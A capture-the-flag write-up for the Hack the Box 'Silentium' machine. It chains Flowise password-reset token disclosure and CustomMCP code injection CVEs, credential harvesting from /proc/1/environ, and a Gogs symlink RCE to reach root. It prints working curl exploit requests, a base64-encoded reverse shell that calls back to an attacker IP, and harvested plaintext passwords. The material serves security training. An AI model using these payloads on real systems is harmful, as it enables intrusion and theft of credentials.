Silentium - Easy Linux

Hack the Box Silentium writeup

Summary

Silentium is a Linux box themed around a fake institutional finance firm. The attack chain involves vhost enumeration to discover a Flowise AI instance, chaining two critical CVEs to gain authenticated RCE, pivoting from a Docker container to the host via exposed environment variables, then exploiting an internal Gogs instance via a third CVE to achieve root.

Attack Chain:

  1. Vhost enumeration → staging.silentium.htb (Flowise 3.0.5)
  2. CVE-2025-58434 → unauthenticated password reset token disclosure → account takeover
  3. CVE-2025-59528 → authenticated RCE via CustomMCP node (Docker container shell)
  4. Container escape → credential harvest from /proc/1/environ → SSH as ben
  5. Internal service discovery via netstat → Gogs on port 3001
  6. CVE-2025-8110 → Gogs symlink RCE → root shell

Enumeration

Nmap

sudo nmap -sC -sV 10.129.28.137

Results: SSH on 22, nginx/1.24.0 on 80 redirecting to silentium.htb.

Add to /etc/hosts:

10.129.28.137 silentium.htb

Website

The main site is a fake institutional finance landing page with a loan calculator. Source code review shows clean JavaScript with no vulnerabilities. Key observation from the team section: staff members named Marcus Thorne, Ben (no surname), and Elena Rossi — useful for username enumeration.

Directory Fuzzing

All paths return 200 — the server is a catch-all SPA. Directory fuzzing is a dead end.

Vhost Fuzzing

Get the baseline response size first:

curl -s http://silentium.htb/ | wc -c
# Returns: 8753

Fuzz for subdomains:

ffuf -w ~/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ \
  -u http://silentium.htb/ \
  -H "Host: FUZZ.silentium.htb" \
  -fs 8753

Hit: staging.silentium.htb

Add to /etc/hosts:

10.129.28.137 staging.silentium.htb

Foothold — Flowise RCE (Docker Container)

Identifying Flowise

Visiting http://staging.silentium.htb reveals a Flowise login page. Confirm the version:

curl http://staging.silentium.htb/api/v1/version
# {"version":"3.0.5"}

Flowise 3.0.5 is affected by multiple critical CVEs.

User Enumeration

The login endpoint leaks valid usernames via differing error messages. Using emails derived from the team page:

curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"test"}'
# {"message":"Incorrect Email or Password"} ← valid user!

[email protected] is confirmed. Other addresses return "User Not Found".

CVE-2025-58434 — Unauthenticated Password Reset Token Disclosure

The forgot-password endpoint returns the tempToken directly in the API response without authentication. The correct format uses a nested user object (discovered by grepping the frontend JS bundle):

curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user": {"email": "[email protected]"}}'

Response includes tempToken, tokenExpiry, and the bcrypt credential hash.

Password Reset

Use the tempToken to reset the password — also requires the nested user format:

curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
    "user": {
      "email": "[email protected]",
      "tempToken": "<TEMPTOKEN>",
      "password": "Password123!"
    }
  }'

Login & Get API Key

curl -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Password123!"}'

Log into the Flowise UI and generate an API key from the API Keys settings page.

CVE-2025-59528 — RCE via CustomMCP Node

With a valid API key, exploit the CustomMCP node which passes user input directly into a JavaScript Function() constructor with full Node.js privileges. Start a Penelope listener on port 4444, then:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.exec(\"printf KHJtIC90bXAvXztta2ZpZm8gL3RtcC9fO2NhdCAvdG1wL198c2ggMj4mMXxuYyAxMC4xMC4xNC4yNSA0NDQ0ID4vdG1wL18pID4vZGV2L251bGwgMj4mMSAm|base64 -d|sh\");return 1;})()})"
    }
  }'

A reverse shell connects. The shell is inside a Docker container.


Lateral Movement — Container Escape to Host

Credential Harvest from Environment Variables

Docker containers commonly expose sensitive configuration via environment variables, accessible through /proc/1/environ:

cat /proc/1/environ | tr '\0' '\n'

Among the variables exposed:

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
[email protected]
SMTP_HOST=mailhog

The FLOWISE_PASSWORD value is a candidate for password reuse on the host.

SSH to Host as ben

ssh [email protected]
# Password: F1l3_d0ck3r

We now have a shell as ben on the host system and can read user.txt.


Privilege Escalation — Internal Gogs

Service Discovery

Enumerate internal listening services:

netstat -tulpn | grep 127.0.0.1

Output:

tcp  0  0  127.0.0.1:3001  0.0.0.0:*  LISTEN  -   ← Gogs
tcp  0  0  127.0.0.1:3000  0.0.0.0:*  LISTEN  -   ← Flowise
tcp  0  0  127.0.0.1:1025  0.0.0.0:*  LISTEN  -   ← SMTP
tcp  0  0  127.0.0.1:8025  0.0.0.0:*  LISTEN  -   ← Mailhog

Note: Mailhog on 8025 and internal SMTP on 1025 confirm that password reset emails never leave the host — which is exactly why the token disclosure in CVE-2025-58434 was so critical.

Accessing Gogs

Gogs is running internally on port 3001. Register an account (CAPTCHA may be enabled — if so, create the account manually via the UI through SSH port forwarding) and generate an API token from user settings.

This vulnerability exploits Gogs's handling of symlinks in repositories:

  1. Creates a repo with SSH enabled
  2. Clones the repo locally and adds a symlink pointing to .git/config
  3. Commits and pushes the symlink
  4. Uses the Gogs API to overwrite the symlink target (.git/config) with a malicious git config containing a crafted sshCommand
  5. The next git SSH operation executes the sshCommand as the Gogs process user (root)

Use the exploit script with your Gogs credentials and API token:

python3 exploit.py \
  -u http://localhost:3001 \
  -lh YOUR_IP \
  -lp 4444 \
  -U hacker \
  -P hacker \
  -t YOUR_API_TOKEN

A root shell connects to your Penelope listener. Read root.txt.


CVEs Used

CVE CVSS Product Description
CVE-2025-58434 9.8 Flowise ≤3.0.5 Unauthenticated password reset token disclosure
CVE-2025-59528 10.0 Flowise ≤3.0.5 RCE via CustomMCP node JS code injection
CVE-2025-8110 - Gogs Symlink arbitrary file write leading to RCE

Key Takeaways

  • Always fuzz for vhosts, not just directories, on nginx catch-all boxes
  • Staging environments are prime targets — same CVEs, less hardening
  • Flowise 3.0.5 has a devastating unauth→RCE chain across two CVEs
  • The nested user object format for Flowise's reset endpoints was non-obvious — grep the JS bundle for API call structure
  • /proc/1/environ is a goldmine in containerized environments — always check it
  • Password reuse between container env vars and host SSH accounts is a common misconfiguration
  • netstat -tulpn on a foothold shell is essential for internal service discovery
  • Mailhog (8025) + internal SMTP (1025) confirm no external email delivery — reinforcing why the token disclosure CVE was so devastating